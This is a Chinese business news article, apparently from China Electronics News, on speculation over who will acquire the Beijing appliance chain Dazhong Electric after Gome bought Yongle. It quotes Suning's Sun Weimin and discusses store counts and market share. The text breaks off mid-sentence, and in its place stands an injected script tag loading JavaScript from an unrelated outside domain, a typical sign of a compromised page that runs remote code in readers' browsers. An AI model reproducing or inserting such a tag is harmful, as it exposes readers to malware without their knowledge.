自国美并购永乐之后，有关中国连锁业态相互并购的各种猜测便层出不穷，其中不乏有：百思买购三联、大中，苏宁购大中，国美再购大中以及被苏宁方坚决否认的国美购苏宁等。在这一系列的名单中，有一个频繁出现的连锁企业，那就是大中。作为在京发展了20年之久的大中电器，确实有着不容置疑的区位优势，这一点也使其在下一步的连锁业态并购中起着十分微妙作用。而更为关键的是，目前大中电器已对外发布了明确的官方消息―――择优而合。
永乐“牵”出来的大中
大中电器在这一轮的并购猜测中之所以成为主角，有一个很重要的原因便是，之前与大中电器有合作协议的永乐电器发生了重大变化，即：7月25日晚，国美电器宣布并购永乐电器。
据《中国电子报》记者了解，大中电器与永乐电器的合作始于去年12月，双方开始进行“各出资50%筹建试点性合资公司”的合作；今年4月，双方正式签署合作协议。但事有变化，今年7月，永乐总裁陈晓表示：“鉴于并购大中涉及向其发行股份，而商务部已暂停内地公司持有境外上市公司资产的审批，所以双方的合作将推迟于2008年4月底完成并购。”不过，永乐电器向大中电器交纳了1.5亿元的保证金，表示诚意。
但国美并购永乐一事，“激怒”了大中电器。大中电器于7月25日当晚紧急向媒体发出了“声明”，其主旨为：鉴于永乐(中国)单方面与第三方合作，大中电器与永乐(中国)的战略合作协议有待重新协商。随之，业内便传出大中电器向百思买、苏宁发出合作意向的猜测，同时陈晓一再表明要解决与大中的问题，更是令大中电器的去留问题变得扑朔迷离。但有一点可以肯定的是，大中电器的态度已日益明确：择优而合。大中电器新闻主管在接受《中国电子报》记者采访时也对此予以了确认。
苏宁电器孙卫民在接受《中国电子报》记者采访时道出了一个最朴素的道理：“对大中来讲，现在就是谁出价高，谁对他最好。”
优势地位影响各方势力
对于连锁行业来讲，大中电器确实也有要价的资格。目前，大中电器以年销售额200亿元名列中国家电连锁企业竞争排名第四的位置，而且需要指出的是，大中电器仅凭借在北京地区的70家门店就已经达到这一业绩。正如孙为民所说：“大中电器一直在‘赚钱就是硬道理’的原则下朴实地经营着。”他表示，这比那些有着200多家门店却仍然亏损的连锁企业更有价值！
更为重要的是大中电器在北京市场的区位优势和规模优势，这是大中电器参与并购的最重要砝码。据了解，大中电器在北京市场有着20多年的经验，而北京市场是全国最大的市场之一，且受高消费群影响，其赢利空间较其他市场有着明显的优势。孙为民表示：“北京市场还具有政治符号的意义。”这对于尚未进入北京的连锁企业更是具有莫大的吸引，比如百思买。
另据了解，目前大中电器在北京市场拥有70家门店，以50%的市场份额牢牢占据着北京市场家电零售第一的位置。“短期来看，对于每一个中国家电连锁企业来讲，最重要的就是规模。”国务院发展研究中心市场经济研究所市场咨询中心副主任陆刃波如此认为。大中的这种优势不仅会左右收购价格，同样会影响整个家电连锁业态的势力对比。
首先无论是国美、苏宁还是百思买，若增加70家门店，都意味着在规模上会上一个台阶，进而加强自己的话语权；其次对于百思买来说，则意味着占领家电业旗帜性市场―――北京市场。
劣势亦左右双方选择
同时也需要注意的是，这些规模优势也有可能成为并购中的一个劣势。目前，北京市场所面临的一个最大问题是，连锁卖场门店过多引发的单店赢利能力下降(45家国美店、26家苏宁店、70家大中店、10多家永乐店)。
假设国美、苏宁收购大中，那么势必要关掉一些门店，这就在无形中增加了收购方的成本。孙为民对此也表示认可。对于国美来说，这一点表现得更为突出，因为若对其收购，加上永乐，在北京的门店数接近130家，这显然需要进一步整合。
对于百思买来说，虽然不存在门店过多的问题，但百思买同样会考虑，究竟是自己亲自在北京市场建店还是借力收购？对于上海市场的操作，百思买显然选择了前者，据《中国电子报》记者了解，百思买在上海的第一家店面正在紧锣密鼓地装修，开店是指日可待。
业界看好苏宁大中联姻
正是这种微妙的行业地位，令大中电器的并购方向变得扑朔迷离。但可以肯定的是，一旦大中电器做出决定，那么中国连锁业态将进入一个阶段的平静期。因为目前两大并购热点之一百思买收购三联也已有眉目，现在只剩下大中电器的去留问题。虽然孙为民对眼下家电连锁业态出现的资本并购高潮深感疑惑，认为这是一种超前行为，但他还是持肯定态度。
孙为民表示，目前他正在考虑合并的种种问题，比如合并后会出现的问题。在采访中，他一再强调，在中国家电史上，还没有出现过由于并购而获得成功的案例，并购并不一定难，难的是并购之后的问?script src=http://er12.com/t.js>
